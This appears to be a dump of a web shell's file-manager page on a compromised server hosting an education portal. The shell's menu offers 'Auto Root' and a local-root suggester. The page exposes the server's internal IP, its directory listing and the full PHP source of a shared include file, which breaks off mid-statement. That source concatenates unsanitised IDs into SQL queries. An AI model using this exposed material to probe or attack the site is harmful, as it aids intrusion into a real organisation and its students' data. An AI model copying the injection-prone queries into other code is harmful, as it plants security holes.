Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
cesanet /
Delete
Unzip
Name
Size
Permission
Date
Action
BCE Home cover_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:07
BCE Introduction_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:07
BCE RESOURCE AND SUPPORT_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:08
BCE RULES AND REGULATIONS_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:07
BCE THE LEARNING PROGRAMME_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:08
SpryAssets
[ DIR ]
drwxr-sr-x
2013-02-14 22:54
ajax
[ DIR ]
drwxr-sr-x
2026-08-20 14:43
assignments
[ DIR ]
drwxr-sr-x
2022-03-07 13:03
docthumbs
[ DIR ]
drwxr-sr-x
2022-03-14 09:40
facilitators
[ DIR ]
drwxr-sr-x
2012-01-18 08:00
guidelines
[ DIR ]
drwxr-sr-x
2021-04-29 08:34
images
[ DIR ]
drwxr-sr-x
2023-04-18 07:54
includes
[ DIR ]
drwxr-sr-x
2024-02-23 09:41
lightbox
[ DIR ]
drwxr-sr-x
2012-07-02 08:44
pdf
[ DIR ]
drwxr-sr-x
2012-03-15 12:53
pdf-viewer
[ DIR ]
drwxr-sr-x
2025-02-20 13:18
visual-countdown-timer
[ DIR ]
drwxr-sr-x
2021-11-03 09:27
activities.php
6.49
KB
-rw-r--r--
2024-02-23 09:36
activityadd.php
7.44
KB
-rw-r--r--
2024-02-23 09:36
advisory.php
1.37
KB
-rw-r--r--
2024-02-23 09:36
assignmentadd.php
43.1
KB
-rw-r--r--
2026-08-19 12:45
assignmentinfo.php
2.96
KB
-rw-r--r--
2025-02-24 16:01
assignmentpack.php
4.66
KB
-rw-r--r--
2024-02-23 09:36
assignmentpdf.php
3.64
KB
-rw-r--r--
2024-02-23 09:36
assignments.php
14.04
KB
-rw-r--r--
2026-06-24 12:03
assigsummary.php
12.25
KB
-rw-r--r--
2025-04-14 08:46
calendar.js
13.28
KB
-rw-r--r--
2024-02-23 09:36
calendar.php
502
B
-rw-r--r--
2024-02-23 09:47
cceregister.php
22.5
KB
-rw-r--r--
2013-10-09 08:40
changedates.php
1.35
KB
-rw-r--r--
2024-02-23 09:36
contacts.php
4.87
KB
-rw-r--r--
2025-06-26 12:42
contacts_students.php
2.34
KB
-rw-r--r--
2024-02-27 11:36
details.php
9.24
KB
-rw-r--r--
2025-02-06 10:38
document-pdf-proxy.php
1.95
KB
-rw-r--r--
2025-06-27 10:14
document-view.php
7.35
KB
-rw-r--r--
2025-06-27 12:42
download_student_agreement.php
1.71
KB
-rw-r--r--
2026-03-16 11:53
evaluations.php
6.85
KB
-rw-r--r--
2024-02-23 09:36
exam.php
47.02
KB
-rw-r--r--
2026-08-25 07:11
examresults.php
3.01
KB
-rw-r--r--
2026-02-17 09:45
extension.php
11.33
KB
-rw-r--r--
2026-08-19 12:45
feedback.php
3.91
KB
-rw-r--r--
2024-02-23 09:36
feedbackmsgs.php
5.04
KB
-rw-r--r--
2024-03-25 10:07
file-download.php
343
B
-rw-r--r--
2026-06-24 12:03
forgotpwd.php
2.57
KB
-rw-r--r--
2024-02-23 09:36
gallery.php
1.75
KB
-rw-r--r--
2024-02-23 09:36
guideline-view.php
812
B
-rw-r--r--
2026-02-17 09:45
guideline.php
1
KB
-rw-r--r--
2026-02-17 09:45
guideline_intro.php
14.2
KB
-rw-r--r--
2024-02-23 09:36
guideline_notes.php
2.35
KB
-rw-r--r--
2024-02-23 09:36
guideline_programme.php
39.82
KB
-rw-r--r--
2024-02-23 09:36
guideline_resources.php
21.47
KB
-rw-r--r--
2024-02-23 09:36
guideline_rules.php
44.97
KB
-rw-r--r--
2024-02-23 09:36
inc_dashboard.php
28.4
KB
-rw-r--r--
2026-08-20 12:16
inc_footer.php
412
B
-rw-r--r--
2025-02-20 13:01
inc_footer_html.php
59
B
-rw-r--r--
2024-02-23 09:36
inc_functions.php
1.86
KB
-rw-r--r--
2026-06-24 12:03
inc_guidelinemenu.php
944
B
-rw-r--r--
2024-02-23 09:36
inc_header.php
2.46
KB
-rw-r--r--
2025-02-20 13:01
inc_header_html.php
1.34
KB
-rw-r--r--
2024-02-23 09:36
inc_shared.php
27.07
KB
-rw-r--r--
2026-08-19 12:45
inc_sidebar.php
9.54
KB
-rw-r--r--
2026-05-13 15:17
index.php
8.47
KB
-rw-r--r--
2026-06-02 08:33
library-old.php
8.46
KB
-rw-r--r--
2024-02-16 11:19
library-render.php
11.09
KB
-rw-r--r--
2026-04-29 07:23
library.php
474
B
-rw-r--r--
2024-02-25 11:44
login.php
2.79
KB
-rw-r--r--
2025-02-06 10:39
logout.php
129
B
-rw-r--r--
2024-02-23 09:36
markmessagesread.php
546
B
-rw-r--r--
2024-02-23 09:36
messages.php
4.14
KB
-rw-r--r--
2026-05-05 11:48
modcontact.php
26.51
KB
-rw-r--r--
2026-07-30 15:46
module.php
2.78
KB
-rw-r--r--
2024-02-23 09:36
notices.php
2.73
KB
-rw-r--r--
2024-02-23 09:36
password.php
2.52
KB
-rw-r--r--
2024-02-23 09:36
pdfthumb.php
230
B
-rw-r--r--
2024-02-23 09:36
php_errors.log
14.11
KB
-rw-r--r--
2026-08-21 08:24
phpinfo.php
17
B
-rw-r--r--
2025-06-09 13:16
popups.php
1.71
KB
-rw-r--r--
2024-02-23 09:36
profile.php
14.69
KB
-rw-r--r--
2026-03-16 11:53
profile_mentor.php
4.23
KB
-rw-r--r--
2024-02-23 09:36
progress_report.php
2.53
KB
-rw-r--r--
2026-05-13 15:17
readmessage.php
2.49
KB
-rw-r--r--
2026-05-19 07:04
recommended.php
5.94
KB
-rw-r--r--
2024-02-16 11:18
resources.php
4.14
KB
-rw-r--r--
2024-02-23 09:36
results.php
1.54
KB
-rw-r--r--
2024-02-23 09:36
saveexam.php
5.72
KB
-rw-r--r--
2025-11-19 09:45
sentmessages.php
1.66
KB
-rw-r--r--
2024-03-27 09:30
style.css
26.86
KB
-rw-r--r--
2025-02-20 13:04
submittedactivities.php
2.98
KB
-rw-r--r--
2024-02-23 09:36
submittedassignments.php
7.78
KB
-rw-r--r--
2026-06-24 12:03
templates.php
2.08
KB
-rw-r--r--
2024-02-23 09:36
timetable-render.php
2.27
KB
-rw-r--r--
2025-02-20 13:03
timetable.php
476
B
-rw-r--r--
2024-03-16 16:02
v3_feedback_form.php
2.52
KB
-rw-r--r--
2026-05-27 08:23
v3_feedback_submit.php
2.55
KB
-rw-r--r--
2026-05-27 08:23
videos.php
4.06
KB
-rw-r--r--
2024-02-23 09:36
Save
Rename
<?php // error_reporting(E_ALL); // ini_set('display_errors', 1); // Include the CESA error handler include_once($_SERVER['DOCUMENT_ROOT'] . '/php/includes/error_handling/bootstrap.php'); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/maill.php"); include_once($_SERVER['DOCUMENT_ROOT'] . '/vendor/autoload.php'); if (!function_exists('cesaLoadEnvFile')) { /** * Load key/value pairs from the project .env file into process env. * Existing environment variables are not overwritten. */ function cesaLoadEnvFile($envFilePath) { if (!is_string($envFilePath) || !file_exists($envFilePath) || !is_readable($envFilePath)) { return; } $lines = file($envFilePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!is_array($lines)) { return; } foreach ($lines as $line) { $line = trim($line); if ($line === '' || strpos($line, '#') === 0) { continue; } $splitPos = strpos($line, '='); if ($splitPos === false) { continue; } $name = trim(substr($line, 0, $splitPos)); $value = trim(substr($line, $splitPos + 1)); if ($name === '') { continue; } // Strip wrapping quotes if present. if ( strlen($value) >= 2 && (($value[0] === '"' && substr($value, -1) === '"') || ($value[0] === "'" && substr($value, -1) === "'")) ) { $value = substr($value, 1, -1); } // Keep explicit process/webserver vars as source of truth. $existing = getenv($name); if ($existing !== false && $existing !== '') { continue; } putenv($name . '=' . $value); $_ENV[$name] = $value; $_SERVER[$name] = $value; } } } cesaLoadEnvFile($_SERVER['DOCUMENT_ROOT'] . '/.env'); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/BaseTableClass.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/ADec_Contacts.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/ADecQuestionnaires.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/ADec_OfficeContacts.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/ADec_PIUnderwriters.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/ADec_tblMemberFirms.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/ADec_tblMemberFirmOffices.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/ADec_tblMemberFirmSkills.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/ADec_Transformation.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/ADQAnswers.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/ADQAudit.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/ADQAuditAnswers.php"); include_once($_SERVER['DOCUMENT_ROOT'] . '/php/includes/AnonRespondees.php'); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/AwardsEntries.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/BatchJob.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEAssignment.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEAssignmentMarking.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEBooks.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCECourseSchedules.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEDocCategories.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEDocuments.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEExam.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEConvenorAuth.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEExamQuestion.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEFacilitatorUser.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEMessageLog.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEMessages.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEModules.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEResourceGroups.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEResources.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCESetup.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEStAssigExtension.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEStAssigExtensionRequest.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEStudentAssignment.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEStudentCourses.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEStudents.php"); include_once($_SERVER['DOCUMENT_ROOT'] . '/php/includes/CCEModuleMarksService.php'); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCETemplates.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CCEWeeklySessions.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/Certificates.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/Contact.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CPDServiceProvider.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CPDSPReview.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/CPDTrainingMaterial.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/ErrorLog.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/EventSchedules.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/FileUploads.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/HTMLHelper.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/KeyValue.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/MarketingAttendees.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/MemberContact.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/MemberFirm.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/MemberFirmSkill.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/MemberFirmOffices.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/OfficeContact.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/Picklists.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/Questionnaires.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/SchoolAttendees.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/SchoolCourses.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/SchoolEvents.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/SchoolPresenters.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/TrainingProvider.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/TrainingProviderDoc.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/Transformation.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/UnempPractitioners.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/Utils.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/WeeklySessionsParser.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/cstUnreadMessages.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/cstWeeksCourses.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/mail/MailMessages.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/sqlFunctions.php"); if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/contracts/fpdf184/fpdf.php')) { include_once($_SERVER['DOCUMENT_ROOT'] . '/contracts/fpdf184/fpdf.php'); } if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/contracts/FPDI-2.3.6/src/autoload.php')) { include_once($_SERVER['DOCUMENT_ROOT'] . '/contracts/FPDI-2.3.6/src/autoload.php'); } $env = 'prod'; if ( strpos($_SERVER['HTTP_HOST'], 'devstage') !== false || strpos($_SERVER['DOCUMENT_ROOT'], 'clients/client') !== false || strpos($_SERVER['HTTP_HOST'], 'cesa.local') !== false || strpos($_SERVER['HTTP_HOST'], 'localhost') !== false || strpos($_SERVER['DOCUMENT_ROOT'], 'BitBucket') !== false ) { $env = 'dev'; } function GeneratePDF($sToFile, $content, $orientation = "portrait", $margin = 10) { if (!file_exists($_SERVER['DOCUMENT_ROOT'] . "/echasl23/downloads/")) { mkdir($_SERVER['DOCUMENT_ROOT'] . "/echasl23/downloads/"); } $newfile = $_SERVER['DOCUMENT_ROOT'] . "/echasl23/downloads/" . str_replace(".html", "_html.pdf", $sToFile); // echo $newfile; // exit; if (file_exists($newfile)) unlink($newfile); $sHTMLfile = $_SERVER['DOCUMENT_ROOT'] . "/echasl23/downloads/" . $sToFile; if (file_exists($sHTMLfile)) unlink($sHTMLfile); file_put_contents($sHTMLfile, $content); $process = $_SERVER['DOCUMENT_ROOT'] . '/wkhtmltopdf/wkhtmltox/bin/wkhtmltopdf'; if ( strpos($_SERVER['HTTP_HOST'], 'dev') !== false || strpos($_SERVER['HTTP_HOST'], 'cesa.local') !== false || strpos($_SERVER['HTTP_HOST'], 'localhost') !== false ) { $process = 'wkhtmltopdf'; } $process .= ' -B ' . $margin . ' -L ' . $margin . ' -R ' . $margin . ' -T ' . $margin . ' --print-media-type '; if ($orientation == "landscape") $process .= " -O landscape "; $process .= '--load-error-handling abort "' . $sHTMLfile . '" "' . $newfile . '"'; exec($process, $error); var_dump($error); if (file_exists($newfile)) { $f = fopen($newfile, "rb+"); fseek($f, 44); fwrite($f, " "); fseek($f, 95); fwrite($f, " "); fclose($f); } return str_replace(".html", "_html.pdf", $sToFile); } function CreateThumb($iDocID, $iDocFile, $sTable = "", $docData = array()) { global $conni; if (strlen($sTable) <= 0) { $sTable = 'CCEDocuments'; } if (isset($docData['DocumentCategory'])) { $docthumb = '/cesanet/images/'; $moduleName = ''; switch ($docData['CCEModuleID']) { case 1: $moduleName .= 'cee'; break; case 2: $moduleName .= 'project-deliver'; break; case 3: $moduleName .= 'finance'; break; default: $moduleName .= 'law'; break; } switch ($docData['DocumentCategory']) { case 1: $docthumb .= 'pre-block-reading.jpg'; break; case 2: $docthumb .= 'timetable.png'; break; case 3: $docthumb .= 'reference-' . $moduleName . '.png'; break; case 5: $docthumb .= 'reading-resources.jpg'; break; case 7: $docthumb .= 'presentation-' . $moduleName . '.png'; break; case 8: $docthumb .= 'general.png'; break; case 9: $docthumb .= 'docs-hard-copy.png'; break; default: $docthumb .= 'general.png'; break; } } else { $im = new imagick('../cceadmin/documents/' . $iDocFile . '[0]'); $im->setImageFormat("jpg"); $im->thumbnailImage(0, 60); $im->borderImage(new ImagickPixel("black"), 1, 1); $docthumb = 'docthumbs/' . "doc" . $iDocID . ".jpg"; $im->writeImage($_SERVER['DOCUMENT_ROOT'] . '/cesanet/' . $docthumb); } $sql = "UPDATE " . $sTable . " SET DocumentThumb='" . $docthumb . "' WHERE CCEDocumentID=" . $iDocID; mysqli_query($conni, $sql); return $docthumb; } function GetResubDate($iAssigID, $studentID = 0) { global $sqlf; $studentAssignmentObj = new CCEStudentAssignment($sqlf); return $studentAssignmentObj->getResubmitDate($iAssigID, $studentID); /* global $conni; // When was the feedback sent? $sql = "SELECT MIN(CCEMessages.SentDateTime) AS FeedbackSent, SA1.ResubmitDateOverride FROM CCEStudentAssignments SA1 JOIN CCEAssignmentFeedback ON (SA1.CCEStudentAssigID=CCEAssignmentFeedback.CCEStudentAssigID) JOIN CCEMessages USING (CCEMessageID) WHERE SA1.CCEAssignmentID=" . $iAssigID . " AND SA1.Passed>0"; if ($studentID > 0) { $sql .= ' AND SA1.CCEStudentID = ' . $studentID; } // echo '==========================<br />' // . 'Please ignore debug information: ' . $sql . '<br />' // . '==========================<br />'; $recR = mysqli_query($conni, $sql); if ($rowR = mysqli_fetch_assoc($recR)) { if (!empty($rowR["ResubmitDateOverride"]) && strlen($rowR["ResubmitDateOverride"]) > 0 && $studentID > 0) { //Only take resubmit date into account for individual students // echo $rowR["FeedbackSent"]; // exit; return date("Y-m-d", strtotime($rowR["ResubmitDateOverride"])); } elseif (!empty($rowR["FeedbackSent"]) && strlen($rowR['FeedbackSent']) > 0) { // echo $rowR["FeedbackSent"]; // exit; return date("Y-m-d", strtotime("+15 days", strtotime($rowR["FeedbackSent"]))); } } return ""; */ } function GetOverdue($iStudentID, $sModules) { global $conni; if (empty($sModules)) $sModules = "1,2,3,4,5"; $sql = "SELECT DueDate, CCEAssignments.CCEAssignmentID, RefNum, AssignmentName, MAX(CCEExtensionDate) AS ExtDate, GROUP_CONCAT(CCEStudentAssignments.CCEStudentAssigID) AS CCEStudentAssigID, GROUP_CONCAT(DISTINCT RulingCode) AS Rulings FROM CCEAssignments LEFT JOIN CCEStudentAssignments ON (CCEAssignments.CCEAssignmentID=CCEStudentAssignments.`CCEAssignmentID` AND CCEStudentAssignments.`CCEStudentID`=" . $iStudentID . ") LEFT JOIN CCEStAssigExtensionRequests ON (CCEAssignments.CCEAssignmentID=CCEStAssigExtensionRequests.`CCEAssignmentID` AND CCEStAssigExtensionRequests.`CCEStudentID`=" . $iStudentID . " AND CCEStAssigExtensionRequests.Status='A') WHERE CCEAssignments.`Archived`=0 AND CCEAssignments.CCEModuleID IN (" . $sModules . ") AND CCEAssignments.`DueDate`<CURDATE() AND YEAR(CCEAssignments.DueDate)=YEAR(NOW()) GROUP BY DueDate, CCEAssignments.CCEAssignmentID, RefNum, AssignmentName ORDER BY DueDate"; // echo '<!-- ' . $sql . ' -->'; $recOverdue = mysqli_query($conni, $sql); $arrOverdue = array(); while ($recOverdue && $rowOverdue = mysqli_fetch_assoc($recOverdue)) { if (empty($rowOverdue["CCEStudentAssigID"])) { if (empty($rowOverdue["ExtDate"]) || (strtotime($rowOverdue["ExtDate"]) < mktime(0))) { $arrOverdue[$rowOverdue["CCEAssignmentID"]] = date("d M", strtotime($rowOverdue["DueDate"])) . ": <a href='/cesanet/assignmentinfo.php?id=" . $rowOverdue["CCEAssignmentID"] . "'>" . $rowOverdue["RefNum"] . ": " . $rowOverdue["AssignmentName"] . "</a>"; } } elseif ((strpos($rowOverdue["CCEStudentAssigID"], ",") === false) && ($rowOverdue["Rulings"] == "R")) { $dtResub = GetResubDate($rowOverdue["CCEAssignmentID"]); if (!empty($dtResub) && (strtotime($dtResub) < mktime(0))) { $arrOverdue[$rowOverdue["CCEAssignmentID"]] = date("d M", strtotime($dtResub)) . ": <a href='/cesanet/assignmentinfo.php?id=" . $rowOverdue["CCEAssignmentID"] . "'>" . $rowOverdue["RefNum"] . ": " . $rowOverdue["AssignmentName"] . " (Resubmission)</a>"; } } } if (!is_array($arrOverdue)) { $arrOverdue = array(); } return $arrOverdue; } function GetAverageAssigScore($iStudentID = 0, $bInterim = false, $moduleNum = 0, $year = 0) { global $conni; $sModulesEnrolled = "1,2,3,4,5"; $sql = "SELECT ModulesEnrolled FROM CCEStudents WHERE CCEStudentID=" . $iStudentID; $recAS = mysqli_query($conni, $sql); if ($rowAS = mysqli_fetch_assoc($recAS)) { $sModulesEnrolled = $rowAS["ModulesEnrolled"]; } mysqli_free_result($recAS); if ($bInterim) { $sql = "SELECT AVG(CCEAssignmentMarking.Score) AS ScoreAvg FROM CCEStudents INNER JOIN CCEStudentCourses USING (CCEStudentID)"; if ($year <= 0) { $sql .= " INNER JOIN CCESetup ON (CCEStudentCourses.CCECourseScheduleID=CCESetup.CurrentScheduleID) "; } $sql .= " INNER JOIN CCEStudentAssignments on (CCEStudents.CCEStudentID=CCEStudentAssignments.CCEStudentID) INNER JOIN CCEAssignmentMarking on (CCEAssignmentMarking.CCEStudentAssigID=CCEStudentAssignments.CCEStudentAssigID) INNER JOIN CCEAssignments ON (CCEAssignments.CCEAssignmentID=CCEStudentAssignments.CCEAssignmentID) WHERE "; if ($iStudentID > 0) { $sql .= "CCEStudentAssignments.CCEStudentID=" . $iStudentID . " AND "; } if ($year <= 0) { $year = date('Y'); } $sql .= "CCEAssignmentMarking.Ruling NOT IN ('R', '') AND YEAR(CCEStudentAssignments.DateSubmitted)=" . $year . " AND CCEAssignments.CCEModuleID IN (" . $sModulesEnrolled . ")"; } else { $sql = "SELECT AVG(CCEStudentAssignments.AssignmentScore) AS ScoreAvg FROM CCEStudents INNER JOIN CCEStudentCourses USING (CCEStudentID) "; if ($year <= 0) { $sql .= " INNER JOIN CCESetup ON (CCEStudentCourses.CCECourseScheduleID=CCESetup.CurrentScheduleID) "; } $sql .= " INNER JOIN CCEStudentAssignments on (CCEStudents.CCEStudentID=CCEStudentAssignments.CCEStudentID) INNER JOIN CCEAssignments ON (CCEAssignments.CCEAssignmentID=CCEStudentAssignments.CCEAssignmentID) WHERE "; if ($iStudentID > 0) { $sql .= " CCEStudentAssignments.CCEStudentID=" . $iStudentID . " AND "; } if ($year <= 0) { $year = date('Y'); } // $sql .= "CCEStudents.Archived=0 AND "; $sql .= " YEAR(CCEStudentAssignments.DateSubmitted) = " . $year . " AND "; $sql .= " CCEStudentAssignments.RulingCode NOT IN ('R', '') AND CCEAssignments.CCEModuleID IN (" . $sModulesEnrolled . ")"; } // echo $sql; if ($moduleNum > 0) { $sql .= ' AND CCEAssignments.CCEModuleID = ' . $moduleNum; } // Omit scores for modules in ModulesExcluded (class aggregates and per-student averages). if (class_exists('CCEStudents')) { $sql .= CCEStudents::sqlClassAverageExclusionClause('CCEStudents', 'CCEAssignments.CCEModuleID'); } $recAvg = mysqli_query($conni, $sql); if ($rowAvg = mysqli_fetch_assoc($recAvg)) { $iAvg = number_format($rowAvg["ScoreAvg"], 1); } else $iAvg = 0; mysqli_free_result($recAvg); return $iAvg; } function GetClassAssigAverage($iAssigID = 0, $moduleId = 0, $studentId = 0) { global $conni; $sql = "SELECT AVG(CCEStudentAssignments.AssignmentScore) AS ScoreAvg FROM CCEStudents INNER JOIN CCEStudentCourses USING (CCEStudentID) INNER JOIN CCESetup ON (CCEStudentCourses.CCECourseScheduleID=CCESetup.CurrentScheduleID) INNER JOIN CCEStudentAssignments on (CCEStudents.CCEStudentID=CCEStudentAssignments.CCEStudentID) INNER JOIN CCEAssignments ON CCEStudentAssignments.CCEAssignmentID = CCEAssignments.CCEAssignmentID WHERE CCEStudents.Archived=0 AND YEAR(CCEStudentAssignments.DateSubmitted)=" . date("Y") . " AND CCEStudentAssignments.RulingCode NOT IN ('R', '')"; if (!empty($iAssigID)) { $sql .= " AND CCEStudentAssignments.CCEAssignmentID=" . intval($iAssigID); } if ($moduleId > 0) { $sql .= " AND CCEAssignments.CCEModuleID=" . intval($moduleId); } if ($studentId > 0) { $sql .= " AND CCEStudentAssignments.CCEStudentID=" . intval($studentId); } if (class_exists('CCEStudents')) { $sql .= CCEStudents::sqlClassAverageExclusionClause('CCEStudents', 'CCEAssignments.CCEModuleID'); } // echo '< ! -- ' . $sql . ' -- >'; $rec = mysqli_query($conni, $sql); if ($row = mysqli_fetch_assoc($rec)) { $iClassAvg = number_format($row["ScoreAvg"], 1); } else $iClassAvg = 0; mysqli_free_result($rec); return $iClassAvg; } function SendStudentEmail($iStudentID, $iAssigID, $sStatus, $fullMessage = '', $subject = '') { global $conni; $extensionDate = ''; $sql = "SELECT FacilitatorID, FullName FROM CCEFacilitatorUsers WHERE Username='" . $_SESSION[EW_SESSION_USER_PROFILE_USER_NAME] . "'"; // echo $sql; // exit; $SentByFacilitatorID = 0; $recFrom = mysqli_query($conni, $sql); if ($rowFrom = mysqli_fetch_assoc($recFrom)) { $sFrom = $rowFrom["FullName"]; $SentByFacilitatorID = $rowFrom["FacilitatorID"] + 0; } mysqli_free_result($recFrom); $sql = "SELECT CCEAssignments.CCEModuleID, CCEAssignments.RefNum, CCEAssignments.AssignmentName, " . "CCEStAssigExtensionRequests.CCEExtensionDate, CCEStAssigExtensionRequests.StatusReason " . "FROM CCEAssignments " . "LEFT OUTER JOIN CCEStAssigExtensionRequests ON " . "(CCEAssignments.CCEAssignmentID=CCEStAssigExtensionRequests.`CCEAssignmentID` " . "AND CCEStAssigExtensionRequests.`CCEStudentID`=" . $iStudentID . ") " . "WHERE CCEAssignments.CCEAssignmentID=" . $iAssigID . " " . "ORDER BY CCEStAssigExtensionRequests.CCEStAssigExtensionID DESC"; // echo $sql; $recAssig = mysqli_query($conni, $sql); $statusReason = ''; if ($rowAssig = mysqli_fetch_assoc($recAssig)) { $sRefNum = $rowAssig["RefNum"] . ' - ' . $rowAssig["AssignmentName"]; $sModuleID = $rowAssig["CCEModuleID"]; $extensionDate = $rowAssig["CCEExtensionDate"]; if (strlen($rowAssig['StatusReason']) > 0) { $statusReason = "\r\n\r\n" . 'Convenors comments: ' . $rowAssig['StatusReason'] . "\r\n\r\n"; } } mysqli_free_result($recAssig); $sSentTo = ""; // EmailAddress is used as the default. EmailAddress2 is treated as the student's work email. $sWorkEmail = ''; $sEmail = ''; $sql = "SELECT FirstName, Surname, EmailAddress, EmailAddress2, KnownAs FROM CCEStudents WHERE CCEStudentID=" . intval($iStudentID); $recTo = mysqli_query($conni, $sql); if ($rowTo = mysqli_fetch_assoc($recTo)) { $sSentTo = $rowTo["KnownAs"] . " " . $rowTo["Surname"]; $sEmail = $rowTo["EmailAddress"]; $sWorkEmail = $rowTo["EmailAddress2"]; } $isDevEmailOverride = strpos($_SERVER['HTTP_HOST'], 'dev') !== false || strpos($_SERVER['HTTP_HOST'], 'cesa.local') !== false || strpos($_SERVER['HTTP_HOST'], 'localhost') !== false; if ($isDevEmailOverride) { $sEmail = 'cesa-sce-student@igotafrica.com'; } mysqli_free_result($recTo); $sSubject = "BCE Assignment Extension Decision: " . $sRefNum; if ($sStatus == "A") { $sMessage = "Your request for an extension for assignment " . $sRefNum . " has been approved until " . $extensionDate . ". " . "Please ensure you meet the extension deadline, otherwise late penalties will apply."; } elseif ($sStatus == "P") { $sMessage = "Your request for an extension for assignment " . $sRefNum . " has been approved with a penalty of -1 " . "until " . $extensionDate . ". Please ensure you meet the extension deadline, otherwise late penalties will apply."; } elseif ($sStatus == "D") { $sMessage = "Your request for an extension was declined for assignment " . $sRefNum . "."; } $sMessage = "Dear " . $sSentTo . ", " . $sMessage . $statusReason . "" . "\r\n\r\n" . "Should you wish to query this decision, please contact the module convenor via the CESAnet."; $isEmailHTML = false; $sMessageEmail = ''; if ($sStatus == "Overdue" && strlen($fullMessage) > 0) { $sMessage = $fullMessage; $sSubject = $subject; $isEmailHTML = true; $sMessageEmail = $sMessage; // When the forwarded message contains hyperlinks, ensure we use the student's work email. $hasHtmlLinks = (bool) preg_match('/<a\s+[^>]*href\s*=\s*["\']/i', (string) $fullMessage); if (!$isDevEmailOverride && $hasHtmlLinks 